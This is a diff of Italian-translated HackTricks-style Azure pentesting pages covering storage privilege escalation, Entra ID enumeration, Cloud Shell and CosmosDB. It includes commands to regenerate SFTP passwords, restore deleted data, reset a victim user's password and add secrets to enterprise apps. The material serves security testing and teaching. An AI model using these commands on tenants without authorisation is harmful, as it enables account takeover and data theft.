+### `Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action`
Con questo permesso, un attaccante può rigenerare la password per un utente locale in un account Azure Storage. Questo concede all'attaccante la possibilità di ottenere nuove credenziali di autenticazione (come una password SSH o SFTP) per l'utente. Sfruttando queste credenziali, l'attaccante potrebbe ottenere accesso non autorizzato all'account di archiviazione, eseguire trasferimenti di file o manipolare i dati all'interno dei contenitori di archiviazione. Ciò potrebbe comportare perdite di dati, corruzione o modifica malevola del contenuto dell'account di archiviazione.
```bash
@@ -94,9 +94,9 @@ Per accedere ad Azure Blob Storage tramite SFTP (is_hns_enabled dovrebbe essere
sftp .@.blob.core.windows.net
#regenerated-password
```
-### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action
+### `Microsoft.Storage/storageAccounts/restoreBlobRanges/action`, `Microsoft.Storage/storageAccounts/blobServices/containers/read`, `Microsoft.Storage/storageAccounts/read` && `Microsoft.Storage/storageAccounts/listKeys/action`
-Con questi permessi, un attaccante può ripristinare un contenitore eliminato specificando il suo ID di versione eliminata o annullare l'eliminazione di specifici blob all'interno di un contenitore, se erano stati precedentemente eliminati in modo soft. Questa escalation di privilegi potrebbe consentire a un attaccante di recuperare dati sensibili che dovevano essere eliminati permanentemente, portando potenzialmente a accessi non autorizzati.
+Con questi permessi, un attaccante può ripristinare un contenitore eliminato specificando il suo ID di versione eliminata o ripristinare specifici blob all'interno di un contenitore, se erano stati precedentemente eliminati in modo soft. Questa escalation di privilegi potrebbe consentire a un attaccante di recuperare dati sensibili che dovevano essere eliminati permanentemente, portando potenzialmente a accessi non autorizzati.
```bash
#Restore the soft deleted container
az storage container restore \
@@ -110,9 +110,9 @@ az storage blob undelete \
--container-name \
--name "fileName.txt"
```
-### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read
+### `Microsoft.Storage/storageAccounts/fileServices/shares/restore/action` && `Microsoft.Storage/storageAccounts/read`
-Con queste autorizzazioni, un attaccante può ripristinare una condivisione file di Azure eliminata specificando il suo ID versione eliminata. Questa escalation di privilegi potrebbe consentire a un attaccante di recuperare dati sensibili che dovevano essere eliminati permanentemente, portando potenzialmente a un accesso non autorizzato.
+Con questi permessi, un attaccante può ripristinare una condivisione file di Azure eliminata specificando il suo ID versione eliminata. Questa escalation di privilegi potrebbe consentire a un attaccante di recuperare dati sensibili che dovevano essere eliminati permanentemente, portando potenzialmente a accessi non autorizzati.
```bash
az storage share-rm restore \
--storage-account \
diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md
index 2093e0966..8101ae53c 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md
@@ -363,17 +363,17 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
```
-### MFA & Conditional Access Policies
+### MFA & Politiche di Accesso Condizionale
-È fortemente consigliato aggiungere MFA a ogni utente, tuttavia, alcune aziende potrebbero non impostarlo o potrebbero impostarlo con un Accesso Condizionale: L'utente sarà **richiesto MFA se** accede da una posizione specifica, browser o **alcuna condizione**. Queste politiche, se non configurate correttamente, potrebbero essere soggette a **bypasses**. Controlla:
+È fortemente consigliato aggiungere MFA a ogni utente, tuttavia, alcune aziende potrebbero non impostarlo o potrebbero impostarlo con un Accesso Condizionale: L'utente sarà **richiesto MFA se** accede da una posizione specifica, browser o **alcuna condizione**. Queste politiche, se non configurate correttamente, potrebbero essere soggette a **bypass**. Controlla:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}
-### Groups
+### Gruppi
-Per ulteriori informazioni sui gruppi di Entra ID, controlla:
+Per ulteriori informazioni sui gruppi di Entra ID controlla:
{{#ref}}
../az-basic-information/
@@ -487,7 +487,7 @@ I proprietari del gruppo possono aggiungere nuovi utenti al gruppo
Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose
```
> [!WARNING]
-> I gruppi possono essere dinamici, il che significa fondamentalmente che **se un utente soddisfa determinate condizioni verrà aggiunto a un gruppo**. Naturalmente, se le condizioni si basano su **attributi** che un **utente** può **controllare**, potrebbe abusare di questa funzionalità per **entrare in altri gruppi**.\
+> I gruppi possono essere dinamici, il che significa fondamentalmente che **se un utente soddisfa determinate condizioni, verrà aggiunto a un gruppo**. Naturalmente, se le condizioni si basano su **attributi** che un **utente** può **controllare**, potrebbe abusare di questa funzionalità per **entrare in altri gruppi**.\
> Controlla come abusare dei gruppi dinamici nella pagina seguente:
{{#ref}}
@@ -496,7 +496,7 @@ Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose
### Service Principals
-Per ulteriori informazioni sui service principals di Entra ID controlla:
+Per ulteriori informazioni sui service principal di Entra ID, controlla:
{{#ref}}
../az-basic-information/
@@ -601,7 +601,7 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh
-Elenca e prova ad aggiungere un client secret su ogni Enterprise App
+Elenca e prova ad aggiungere un client secret su ogni App Aziendale
```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
@@ -714,7 +714,7 @@ Per ulteriori informazioni sulle Applicazioni controlla:
../az-basic-information/
{{#endref}}
-Quando un'App viene generata, vengono date 2 tipologie di permessi:
+Quando un'App viene generata, vengono concessi 2 tipi di permessi:
- **Permessi** dati al **Service Principal**
- **Permessi** che l'**app** può avere e utilizzare per **conto dell'utente**.
@@ -892,16 +892,9 @@ Get-AzRoleAssignment -Scope /subscriptions//resourceGroups//members"
-# Elenco dei ruoli di Entra ID assegnati a un utente
+# List Entra ID roles assigned to a user
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users//memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
-# Elenco dei ruoli di Entra ID assegnati a un gruppo
+# List Entra ID roles assigned to a group
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
-# Elenco dei ruoli di Entra ID assegnati a un servizio principale
+# List Entra ID roles assigned to a service principal
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
```
-
{{#endtab }}
{{#tab name="Azure AD" }}
-
```bash
-# Ottieni tutti i modelli di ruolo disponibili
+# Get all available role templates
Get-AzureADDirectoryroleTemplate
-# Ottieni ruoli abilitati (Ruoli assegnati)
+# Get enabled roles (Assigned roles)
Get-AzureADDirectoryRole
-Get-AzureADDirectoryRole -ObjectId #Ottieni informazioni sul ruolo
-# Ottieni ruoli personalizzati - usa AzureAdPreview
+Get-AzureADDirectoryRole -ObjectId #Get info about the role
+# Get custom roles - use AzureAdPreview
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
-# Utenti assegnati a un ruolo (Amministratore globale)
+# Users assigned a role (Global Administrator)
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
Get-AzureADDirectoryRole -ObjectId | fl
-# Ruoli dell'Unità Amministrativa (chi ha permessi sull'unità amministrativa e sui suoi membri)
+# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
Get-AzureADMSScopedRoleMembership -Id | fl *
```
-
{{#endtab }}
{{#endtabs }}
-### Devices
+### Dispositivi
{{#tabs }}
{{#tab name="az cli" }}
-
```bash
-# Se sai come farlo, invia una PR!
+# If you know how to do this send a PR!
```
-
{{#endtab }}
{{#tab name="MS Graph" }}
-
```bash
-# Enumerare i dispositivi utilizzando Microsoft Graph PowerShell
+# Enumerate devices using Microsoft Graph PowerShell
Get-MgDevice -All
-# Ottenere i dettagli del dispositivo
+# Get device details
Get-MgDevice -DeviceId | Format-List *
-# Ottenere i dispositivi gestiti tramite Intune
+# Get devices managed using Intune
Get-MgDevice -Filter "isCompliant eq true" -All
-# Ottenere i dispositivi di proprietà di un utente
+# Get devices owned by a user
Get-MgUserOwnedDevice -UserId test@corp.onmicrosoft.com
-# Elencare i comandi disponibili in Microsoft Graph PowerShell
+# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Identity.DirectoryManagement
```
{{#endtab }}
{{#tab name="Azure AD" }}
-
```bash
-# Enumerare Dispositivi
+# Enumerate Devices
Get-AzureADDevice -All $true | fl *
-# Elenca tutti i dispositivi attivi (e non i dispositivi obsoleti)
+# List all the active devices (and not the stale devices)
Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}
-# Ottieni i proprietari di tutti i dispositivi
+# Get owners of all devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
-# Utenti registrati di tutti i dispositivi
+# Registred users of all the devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
-# Ottieni dispositivi gestiti tramite Intune
+# Get dives managed using Intune
Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}
-# Ottieni dispositivi posseduti da un utente
+# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
-# Ottieni Unità Amministrative di un dispositivo
+# Get Administrative Units of a device
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }
```
-
{{#endtab }}
{{#endtabs }}
> [!WARNING]
-> If a device (VM) is **AzureAD joined**, users from AzureAD are going to be **able to login**.\
-> Moreover, if the logged user is **Owner** of the device, he is going to be **local admin**.
+> Se un dispositivo (VM) è **collegato ad AzureAD**, gli utenti di AzureAD potranno **accedere**.\
+> Inoltre, se l'utente connesso è **Proprietario** del dispositivo, sarà **amministratore locale**.
-### Administrative Units
+### Unità Amministrative
-For more information about administrative units check:
+Per ulteriori informazioni sulle unità amministrative, controlla:
{{#ref}}
../az-basic-information/
@@ -1062,104 +1045,100 @@ For more information about administrative units check:
{{#tabs }}
{{#tab name="az cli" }}
-
```bash
-# Elenca tutte le unità amministrative
+# List all administrative units
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
-# Ottieni informazioni sull'AU
+# Get AU info
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53"
-# Ottieni membri
+# Get members
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members"
-# Ottieni principi con ruoli sull'AU
+# Get principals with roles over the AU
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"
```
-
{{#endtab }}
{{#tab name="AzureAD" }}
-
```bash
-# Ottieni Unità Amministrative
+# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id
-# Ottieni ID dell'unità amministrativa tramite stringa
+# Get ID of admin unit by string
$adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'"
-# Elenca gli utenti, i gruppi e i dispositivi interessati dall'unità amministrativa
+# List the users, groups, and devices affected by the administrative unit
Get-AzureADMSAdministrativeUnitMember -Id
-# Ottieni i ruoli che gli utenti hanno sui membri dell'AU
-Get-AzureADMSScopedRoleMembership -Id | fl #Ottieni ID ruolo e membri del ruolo
+# Get the roles users have over the members of the AU
+Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members
```
-
{{#endtab }}
{{#endtabs }}
-## Entra ID Privilege Escalation
+## Escalation dei privilegi di Entra ID
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/
{{#endref}}
-## Azure Privilege Escalation
+## Escalation dei privilegi di Azure
{{#ref}}
../az-privilege-escalation/az-authorization-privesc.md
{{#endref}}
-## Defensive Mechanisms
+## Meccanismi difensivi
-### Privileged Identity Management (PIM)
+### Gestione delle identità privilegiate (PIM)
-Privileged Identity Management (PIM) in Azure helps to **prevent excessive privileges** to being assigned to users unnecessarily.
+La Gestione delle identità privilegiate (PIM) in Azure aiuta a **prevenire l'assegnazione eccessiva di privilegi** agli utenti in modo non necessario.
-One of the main features provided by PIM is that It allows to not assign roles to principals that are constantly active, but make them **eligible for a period of time (e.g. 6months)**. Then, whenever the user wants to activate that role, he needs to ask for it indicating the time he needs the privilege (e.g. 3 hours). Then an **admin needs to approve** the request.\
-Note that the user will also be able to ask to **extend** the time.
+Una delle principali caratteristiche fornite da PIM è che consente di non assegnare ruoli a soggetti che sono costantemente attivi, ma di renderli **idonei per un periodo di tempo (ad es. 6 mesi)**. Poi, ogni volta che l'utente desidera attivare quel ruolo, deve richiederlo indicando il tempo di cui ha bisogno per il privilegio (ad es. 3 ore). Quindi un **amministratore deve approvare** la richiesta.\
+Nota che l'utente sarà anche in grado di chiedere di **estendere** il tempo.
-Moreover, **PIM send emails** whenever a privileged role is being assigned to someone.
+Inoltre, **PIM invia email** ogni volta che un ruolo privilegiato viene assegnato a qualcuno.
-When PIM is enabled it's possible to configure each role with certain requirements like:
+Quando PIM è abilitato, è possibile configurare ciascun ruolo con determinati requisiti come:
-- Maximum duration (hours) of activation
-- Require MFA on activation
-- Require Conditional Access acuthenticaiton context
-- Require justification on activation
-- Require ticket information on activation
-- Require approval to activate
-- Max time to expire the elegible assignments
-- A lot more configuration on when and who to send notifications when certain actions happen with that role
+- Durata massima (ore) di attivazione
+- Richiedere MFA all'attivazione
+- Richiedere contesto di autenticazione di Accesso Condizionale
+- Richiedere giustificazione all'attivazione
+- Richiedere informazioni sul ticket all'attivazione
+- Richiedere approvazione per attivare
+- Tempo massimo per far scadere le assegnazioni idonee
+- Molte altre configurazioni su quando e a chi inviare notifiche quando si verificano determinate azioni con quel ruolo
-### Conditional Access Policies
+### Politiche di Accesso Condizionale
-Check:
+Controlla:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}
-### Entra Identity Protection
+### Protezione dell'identità di Entra
-Entra Identity Protection is a security service that allows to **detect when a user or a sign-in is too risky** to be accepted, allowing to **block** the user or the sig-in attempt.
+La Protezione dell'identità di Entra è un servizio di sicurezza che consente di **rilevare quando un utente o un accesso è troppo rischioso** per essere accettato, consentendo di **bloccare** l'utente o il tentativo di accesso.
-It allows the admin to configure it to **block** attempts when the risk is "Low and above", "Medium and above" or "High". Although, by default it's completely **disabled**:
+Consente all'amministratore di configurarlo per **bloccare** i tentativi quando il rischio è "Basso e superiore", "Medio e superiore" o "Alto". Tuttavia, per impostazione predefinita è completamente **disabilitato**:
> [!TIP]
-> Nowadays it's recommended to add these restrictions via Conditional Access policies where it's possible to configure the same options.
+> Oggi è consigliato aggiungere queste restrizioni tramite politiche di Accesso Condizionale dove è possibile configurare le stesse opzioni.
-### Entra Password Protection
+### Protezione della password di Entra
-Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**.\
-It also allows to **ban a custom password list** that you need to provide.
+La Protezione della password di Entra ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) è una funzionalità di sicurezza che **aiuta a prevenire l'abuso di password deboli bloccando gli account quando si verificano diversi tentativi di accesso non riusciti**.\
+Consente anche di **vietare un elenco di password personalizzato** che è necessario fornire.
-It can be **applied both** at the cloud level and on-premises Active Directory.
+Può essere **applicata sia** a livello cloud che su Active Directory on-premises.
-The default mode is **Audit**:
+La modalità predefinita è **Audit**:
-## References
+## Riferimenti
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
diff --git a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md
index 3e0c5858d..04f79d6d7 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md
@@ -12,20 +12,20 @@ Non ci sono permessi assegnati a questo servizio, quindi non ci sono tecniche di
**Environment**: Azure Cloud Shell fornisce un ambiente sicuro eseguendo su Azure Linux, la distribuzione Linux di Microsoft progettata per l'infrastruttura cloud. Tutti i pacchetti inclusi nel repository Azure Linux sono compilati internamente da Microsoft per proteggere contro attacchi alla catena di fornitura.
**Preinstalled Tools**: Cloud Shell include un insieme completo di strumenti preinstallati come Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git e editor di testo come vim, nano ed emacs. Questi strumenti sono pronti all'uso. Per elencare i pacchetti e i moduli installati puoi usare "Get-Module -ListAvailable", "tdnf list" e "pip3 list".
-**$HOME persistence**: Quando avvii Azure Cloud Shell per la prima volta, puoi usarlo con o senza un account di archiviazione allegato. Scegliere di non allegare l'archiviazione crea una sessione effimera in cui i file vengono eliminati al termine della sessione. Per mantenere i file tra le sessioni, monta un account di archiviazione, che si allega automaticamente come **$HOME\clouddrive**, con la tua directory **$HOME** salvata come un file **.img** in Azure File Share. Tuttavia, i file al di fuori di $HOME e gli stati delle macchine non vengono mantenuti. Per memorizzare in modo sicuro segreti come le chiavi SSH, utilizza Azure Key Vault.
+**$HOME persistence**: Quando avvii Azure Cloud Shell per la prima volta, puoi usarlo con o senza un account di archiviazione allegato. Scegliere di non allegare l'archiviazione crea una sessione effimera in cui i file vengono eliminati al termine della sessione. Per mantenere i file tra le sessioni, monta un account di archiviazione, che si allega automaticamente come **$HOME\clouddrive**, con la tua directory **$HOME** salvata come un file **.img** in Azure File Share. Tuttavia, i file al di fuori di $HOME e gli stati della macchina non vengono mantenuti. Per memorizzare in modo sicuro segreti come le chiavi SSH, utilizza Azure Key Vault.
**Azure drive (Azure:)**: PowerShell in Azure Cloud Shell include l'Azure drive (Azure:), che consente una navigazione facile delle risorse Azure come Compute, Network e Storage utilizzando comandi simili a quelli del filesystem. Passa all'Azure drive con cd Azure: e torna alla tua directory home con cd ~. Puoi comunque utilizzare i cmdlet di Azure PowerShell per gestire le risorse da qualsiasi drive.
**Custom Tool Installation**: Gli utenti che configurano Cloud Shell con un account di archiviazione possono installare strumenti aggiuntivi che non richiedono permessi di root. Questa funzionalità consente una maggiore personalizzazione dell'ambiente Cloud Shell, consentendo agli utenti di adattare la propria configurazione alle proprie esigenze specifiche.
## References
-* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
-* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
-* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
+- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
+- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
+- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
## Persistence
-{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %}
-[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-persistence/az-cloud-shell-persistence.md
+{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
index de3c351ed..2abb2ea4d 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
@@ -12,24 +12,19 @@ Un aspetto chiave di CosmosDB è l'Azure Cosmos Account. **Azure Cosmos Account*
### NoSQL (sql)
L'API NoSQL di Azure Cosmos DB è un'API basata su documenti che utilizza JSON come formato di dati. Fornisce una sintassi di query simile a SQL per interrogare oggetti JSON, rendendola adatta per lavorare con dati strutturati e semi-strutturati. L'endpoint del servizio è:
-
-{% code overflow="wrap" %}
```bash
https://.documents.azure.com:443/
```
-{% endcode %}
-
#### Database
All'interno di un account, puoi creare uno o più database, che fungono da raggruppamenti logici di contenitori. Un database agisce come un confine per la gestione delle risorse e i permessi degli utenti. I database possono condividere la capacità di throughput provisionata tra i loro contenitori o allocare throughput dedicato a contenitori individuali.
#### Contenitori
-L'unità fondamentale di archiviazione dei dati è il contenitore, che contiene documenti JSON ed è automaticamente indicizzato per query efficienti. I contenitori sono elastici e scalabili e distribuiti su partizioni, che sono determinate da una chiave di partizione definita dall'utente. La chiave di partizione è fondamentale per garantire prestazioni ottimali e una distribuzione uniforme dei dati. Ad esempio, un contenitore potrebbe memorizzare dati dei clienti, con "customerId" come chiave di partizione.
+L'unità fondamentale di archiviazione dei dati è il contenitore, che contiene documenti JSON ed è automaticamente indicizzato per query efficienti. I contenitori sono scalabili in modo elastico e distribuiti su partizioni, che sono determinate da una chiave di partizione definita dall'utente. La chiave di partizione è fondamentale per garantire prestazioni ottimali e una distribuzione uniforme dei dati. Ad esempio, un contenitore potrebbe memorizzare dati sui clienti, con "customerId" come chiave di partizione.
#### Enumerazione
-{% tabs %}
-{% tab title="az cli" %}
-{% code overflow="wrap" %}
+{{#tabs }}
+{{#tab name="az cli" }}
```bash
# CosmoDB Account
## List Azure Cosmos DB database accounts.
@@ -65,11 +60,9 @@ az cosmosdb sql trigger list --account-name --container-name --container-name --database-name --resource-group
```
-{% endcode %}
-{% endtab %}
+{{#endtab }}
-{% tab title="Az PowerShell" %}
-{% code overflow="wrap" %}
+{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.CosmosD
@@ -112,14 +105,12 @@ Get-AzCosmosDBSqlTrigger -ResourceGroupName "" -AccountName "
# List all user-defined functions (UDFs) in a specific Cosmos DB SQL container.
Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "" -AccountName "" -DatabaseName "" -ContainerName ""
```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+{{#endtab }}
+{{#endtabs }}
#### Connessione
Per connettersi è necessaria la libreria azure-cosmosDB (pip install azure-cosmos). Inoltre, l'endpoint e la chiave sono componenti cruciali per stabilire la connessione.
-{% code overflow="wrap" %}
```python
from azure.cosmos import CosmosClient, PartitionKey
@@ -158,11 +149,7 @@ print("All items in the container:")
for item in all_items:
print(item)
```
-{% endcode %}
-
-Un altro modo per stabilire una connessione è utilizzare il **DefaultAzureCredential()**. È sufficiente effettuare il login (az login) con l'account che ha i permessi e eseguirlo. In questo caso deve essere effettuata un'assegnazione di ruolo, dando i permessi necessari (vedi per mor)
-
-{% code overflow="wrap" %}
+Un altro modo per stabilire una connessione è utilizzare **DefaultAzureCredential()**. È sufficiente effettuare il login (az login) con l'account che ha i permessi e eseguirlo. In questo caso, deve essere effettuata un'assegnazione di ruolo, dando i permessi necessari (vedi per mor)
```python
from azure.identity import DefaultAzureCredential
from azure.cosmos import CosmosClient
@@ -187,17 +174,11 @@ item = {
container.create_item(item)
print("Document inserted.")
```
-{% endcode %}
-
### MongoDB
L'API NoSQL di MongoDB è un'API basata su documenti che utilizza BSON (Binary JSON) simile a JSON come formato dei dati. Fornisce un linguaggio di query con capacità di aggregazione, rendendolo adatto per lavorare con dati strutturati, semi-strutturati e non strutturati. L'endpoint del servizio segue tipicamente questo formato:
-
-{% code overflow="wrap" %}
```bash
mongodb://:/
```
-{% endcode %}
-
#### Database
In MongoDB, puoi creare uno o più database all'interno di un'istanza. Ogni database funge da raggruppamento logico di collezioni e fornisce un confine per l'organizzazione e la gestione delle risorse. I database aiutano a separare e gestire i dati in modo logico, ad esempio per diverse applicazioni o progetti.
@@ -206,9 +187,8 @@ L'unità fondamentale di archiviazione dei dati in MongoDB è la collezione, che
#### Enumerazione
-{% tabs %}
-{% tab title="az cli" %}
-{% code overflow="wrap" %}
+{{#tabs }}
+{{#tab name="az cli" }}
```bash
# CosmoDB Account
## List Azure Cosmos DB database accounts.
@@ -235,11 +215,9 @@ az cosmosdb mongodb role definition list --account-name